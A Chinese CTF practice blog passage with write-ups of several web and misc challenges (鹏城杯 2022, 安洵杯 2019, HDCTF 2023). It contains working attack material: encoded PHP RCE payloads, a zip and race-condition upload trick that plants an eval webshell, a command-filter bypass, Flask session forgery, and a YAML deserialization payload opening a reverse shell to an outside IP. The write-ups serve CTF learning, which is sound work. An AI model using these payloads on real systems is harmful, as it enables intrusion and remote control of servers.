长城杯前的准备

web

[鹏城杯 2022]简单包含

一个普通的include加了过滤flag,一直以为是有什么字符绕过,原来是限制800字符以内直接脏数据绕过,总是忘记一些普通描述。
源代码

[鹏城杯 2022]简单的php

一点也不简单的php
首先分析一下要求字符长度不大于80,并且过滤了字母和数字和一些标点符号,明显考察的就是无参数RCE,所以想到与或取反这三个绕过。
再看发现&和|被禁了,只剩下取反。
在这里插入图片描述

之前遇到过常规的是

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
} else {
    show_source(__FILE__);
}
 \W,(注意这个W是大写的),匹配非字母、数字、下划线。等价于[^A-Za-z0-9_]。

 所以[^\W]是对上面的\w取反: 匹配所有字母数字下划线的字母。

s 代表让 . 也可以匹配换行符。

(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符

(\n)+: 匹配一个或多个换行符

/i : 匹配时不区分大小写

所以一般形式是:
var_dump(scandir('.'));
readfile(next(array_reverse(scandir(dirname(getcwd())))))
这种套括号的格式
但现在是

if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))
        @eval($code);

相比第一种我们发现不能有()()这种形式,那我们常规的构造就是不行的
因为例如

phpinfo()-->(~%8F%97%8F%96%91%99%90)();

放到正则匹配网站里测试一下可用形式,发现这种数组形式可以
我们要采用的就是这种形式绕过
例如
[phpinfo][0]();
还需要转化字母数字变成

[~%8F%97%8F%96%91%99%90][!%FF]();
这里我们需要通过[] 来执行
 
[~%8f%97%8f%96%91%99%90] 这里是 [phpinfo]
 
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
 
[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo
 
[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
 
 
然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();
 

在这里插入图片描述
成功
在这里插入图片描述
再因为这里本来尝试无参数var_dump等都是可以的,但因为字符限制所以这些都没法bypass
我们需要用到
getallheaders()
这个函数能控制参数。


#查看shell在第几个:
 var_dump(getallheaders()); [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]());

#返回shell
 var_dump(current(getallheaders()));

#执行shell
system(current(getallheaders())): [~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

写入一个
在这里插入图片描述
成功
在这里插入图片描述
同时这里我找到一个类似的题目大家可以试试
http://ctf.aabyss.cn/nbRCE.php
给出解题思路

print_r(end(getallheaders())); 

可知UA头是数组最后一位。 

让 UA 头为 flag.php,则end(getallheaders())的值为flag.php 
然后之前有弹过phpinfo() 

(var_dump(getenv(phpinfo()));) 

可以在里面看到被BAN掉的函数。

这里用读文件的函数去输出flag.php 也就是思考 print_r 和 UA头之间用什么函数,因为本题只有70个字符的空间,高亮太长了用不了一点,最后用的readfile 

print_r(readfile(end(getallheaders()))); User-Agent: flag.php

​[鹏城杯 2022]压缩包

这道题有两种做法,我觉得第一种更容易实现且理解
方法一:
因为题目给出的代码逻辑是你可以上传指定内容的文件,但如果不是指定的图片格式就会马上删除,这里用到一个知识点就是,如果你上传的文件是
有一个文件名和文件夹名相同解压时就会报错,这里a.php文件夹里面要有文件的。
在这里插入图片描述
可以自己创建看下结构

zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
rm shell.php          //删除shell.php文件
mkdir shell.php       //创建shell.php文件夹
echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip

拿到base64加密的二进制内容
s = open('exp.zip', 'rb').read()
要注意url编码

content=UEsDBAoAAAAAAHFUZFi03SyHHQAAAB0AAAAJABwAc2hlbGwucGhwVVQJAANG6uVlRurlZXV4CwABBOgDAAAE6AMAADw%2FcGhwIEBldmFsKCRfUE9TVFsnTllHJ10pPz4KUEsDBAoAAAAAAIZUZFhT%2FFFnAgAAAAIAAAALABwAc2hlbGwucGhwLzFVVAkAA2zq5WVs6uVldXgLAAEE6AMAAAToAwAAMQpQSwECHgMKAAAAAABxVGRYtN0shx0AAAAdAAAACQAYAAAAAAABAAAApIEAAAAAc2hlbGwucGhwVVQFAANG6uVldXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAhlRkWFP8UWcCAAAAAgAAAAsAGAAAAAAAAQAAAKSBYAAAAHNoZWxsLnBocC8xVVQFAANs6uVldXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAoAAAAKcAAAAAAA%3D%3D

第二种方法:
yu师傅的脚本竞争
这里不知道为什么一个x.php,一个a.php,应该是写错了要统一一下应该,一直没竞争到

<?php 
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[1]);?>');
?>

#author:yu22x
import io
import requests
import threading
import hashlib
import base64
url="http://192.168.1.110:8521/"
sess=requests.session()
s = open('a.zip','rb').read()
content=base64.b64encode(s)
data={'content':content}
i = hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())

def write(session):
    while True:
        resp = session.post( url,data=data )
def read(session):
    while True:
        resp = session.get(url+f'static/upload/{md}/a.php')
        if resp.status_code==200:
            print('yes')
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

学这个的时候发现大牛的文章大受震撼
https://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
https://www.leavesongs.com/

有时候CTF不只是比赛,更是一些真实的漏洞的系统化训练,特别是大牛的10年前的文章现在看还是具有很大启发,越来越享受Rce的过程。

MISC

[鹏城杯 2022]Misc_water

拿到是一个图片,打开010观察发现中间有一段奇怪的数据,再搜索一下关键词png,发现是有两个,在中间发现其实是一个倒置的png图片
用脚本反转一下

with open('1.png','rb') as f:
    with open('2.png','wb') as g:
        g.write(f.read()[::-1])

然后尝试一下盲水印攻击
这里因为盲水印大多是用
https://link.csdn.net/?target=https%3A%2F%2Fgithub.com%2Fchishaxie%2FBlindWaterMark%23blindwatermark
但这里用这解开的不太清楚
在网上找了另一个python脚本来跑

import cv2
import numpy as np
import matplotlib.pyplot as plt
img = cv2.imread('2.jpg',0) #直接读为灰度图像
f = np.fft.fft2(img)
fshift = np.fft.fftshift(f)#将图像中的低频部分移动到图像的中心
#取绝对值:将复数变化成实数
#取对数的目的为了将数据变化到较小的范围(比如0-255)
s1 = np.log(np.abs(f))
s2 = np.log(np.abs(fshift))
plt.subplot(121),plt.imshow(s1,'gray'),plt.title('original')
plt.subplot(122),plt.imshow(s2,'gray'),plt.title('center')
plt.show()

这个出来就较为清晰,出来解密就是flag了。

今天换个学习模式,每次给自己一个小时的时间来做,时间到再看题解,发现因为题解的原因导致自己有了惰性。

[安洵杯 2019]easy_web

做这道题目还是花了很久,明显的读取文件路径在url上,文件名经过了两次base64+一次hex16,通过这个方式去读取一下index.php

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

这里的md5绕过都是常规了,主要是preg_match的绕过,一开始看禁用了cat,tac,等等,尝试用curl等无回显绕过,但因为有禁-没法使用,再尝试反弹又不能用/e这种形式。后面又试是否是prec回溯绕过,发现get传参的时候是有长度限制的,只有post才可以。

所以这里看着很长,其实很容易绕过。

cat直接用ca/t进行绕过
sort 也可以
rev 也可以

其实是个简单题。。。

[HDCTF 2023]YamiYami

这一道题很有意思
进去是一个普通的页面
在这里插入图片描述
尝试点击readsomthing发现有存在疑似文件读取的漏洞,为什么用file只能用经验来解释
在这里插入图片描述
这里还有一个trick就是读取app.py的源码,需要将app/app.py进行二次url编码

file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

在这里插入图片描述
代码里要求session伪造,这里config的secret没有设置就是默认未mac的
根据伪造得到

#02:42:ac:02:45:95
import random
 
random.seed(0x0242ac024595)
print (str(random.random()*233))
 
#231.281943387   #secret_key
 
 
 
#python main.py decode -s 231.28194338656192 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZETklg.pEPhZ5o8PxJOT7pLSFqlhNV28EQ"   #解密
#python main.py encode -s 231.28194338656192 -t "{'passport': 'Welcome To HDCTF2023'}"    #加密
#eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZETyAw.dHJKdmKcdjzcIOEL-bbhrFuedE4     #加密结果

def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"

这里其实就是伪造身份进入blog页面进行load上传的文件,而我们上传的文件里面内容就是rce代码
伪造

import random
 
random.seed(0x0242ac02be6d)
print (str(random.random()*233))
#这里注意python2和python3跑出来是不一样的密钥,所以都尝试一下
python flask_session_cookie_manager3.py  decode -c 'eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZecgcQ.RMXUVwtlyvMAm-6_lzRLIX0LhG4' -s 212.0838514203619
python flask_session_cookie_manager3.py encode  -s 212.0838514203619 -t "{'passport': 'Welcome To HDCTF2023'}"

eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZeciGw.MbMB0nX0tZyRG_uYoqdppbfDEfk

先上传shell文件

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/47.99.125.16/3389 <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

再访问uploads/shell.txt
连接成功后发现flag被藏起来了
到最后也是在环境变量里(有多种解)
其实如果是在环境变量里,一开始就可以拿到
读取
/proc/1/environ
就成功了

  • 13
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值